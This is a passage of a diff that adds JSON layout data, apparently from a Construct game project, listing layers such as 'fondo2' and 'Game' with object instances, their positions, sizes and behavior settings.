+ 2644,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Layer 0",
+ 2,
+ 675289758507952,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.05000000074505806,
+ 0.300000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "fondo2",
+ 3,
+ 284720217102107,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.800000011920929,
+ 0.8500000238418579,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Layer 1",
+ 4,
+ 699652549620468,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.8999999761581421,
+ 0.8999999761581421,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -30,
+ 859,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 2656,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 27,
+ 852,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2786,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1220,
+ 1227,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 2897,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2194,
+ 1164,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 2902,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1727,
+ 587,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 2903,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3676,
+ 773,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 2904,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4574,
+ 760,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 2905,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5702,
+ 982,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 2906,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -4,
+ 1596,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2907,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1348,
+ 1570,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2908,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2337,
+ 1492,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2909,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2264,
+ 615,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2910,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3822,
+ 1134,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2911,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4359,
+ 1652,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2912,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4655,
+ 1121,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2913,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5595,
+ 1019,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2914,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5801,
+ 1343,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2915,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2607,
+ 1611,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2916,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2850,
+ 1639,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2917,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3408,
+ 1631,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2918,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4961,
+ 1645,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2919,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5331,
+ 1532,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2920,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 244,
+ 1664,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2921,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 672,
+ 1617,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2922,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Game",
+ 5,
+ 600714723875669,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 4416,
+ 1045,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2923,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4022,
+ 1124,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2924,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4163,
+ 1144,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 2925,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5583,
+ 1165,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 2926,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5493,
+ 980,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2927,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3985,
+ 945,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2928,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4770,
+ 760,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 2929,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4494,
+ 763,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2930,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2327,
+ 1158,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 2931,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2290,
+ 946,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 2932,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2204,
+ 1221,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2933,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2434,
+ 1134,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2934,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2068,
+ 1133,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 2935,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2358,
+ 618,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 2936,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2348,
+ 596,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2937,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2179,
+ 376,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2938,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1784,
+ 609,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 2939,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2014,
+ 855,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2940,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1717,
+ 948,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2941,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1515,
+ 1043,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 2942,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1417,
+ 1549,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 2943,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1457,
+ 1223,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2944,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1282,
+ 954,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2946,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1107,
+ 1020,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 2947,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 998,
+ 857,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2948,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1134,
+ 863,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 2949,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 278,
+ 1060,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 2950,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 214,
+ 860,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 2951,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13,
+ 862,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 2952,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 100,
+ 855,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2953,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 334,
+ 856,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2954,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5801,
+ 1284,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 2955,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4620,
+ 914,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 2956,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3820,
+ 921,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 2957,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3607,
+ 774,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 2958,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1881,
+ 634,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 2959,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1183,
+ 1295,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 2960,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4730,
+ 801,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 2961,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4926.13525390625,
+ 799.4502563476562,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.07637524604797363,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 2962,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5057.85302734375,
+ 854.4127807617188,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.07637524604797363,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 2963,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4825,
+ 693,
+ 0,
+ 37,
+ 159,
+ 0,
+ 0,
+ 1,
+ 0.5135135054588318,
+ 0.5031446814537048,
+ 0,
+ 0,
+ []
+ ],
+ 517,
+ 2964,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4091,
+ 765,
+ 0,
+ 257,
+ 16,
+ 0,
+ 0,
+ 1,
+ 0.5019454956054688,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 387,
+ 2965,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
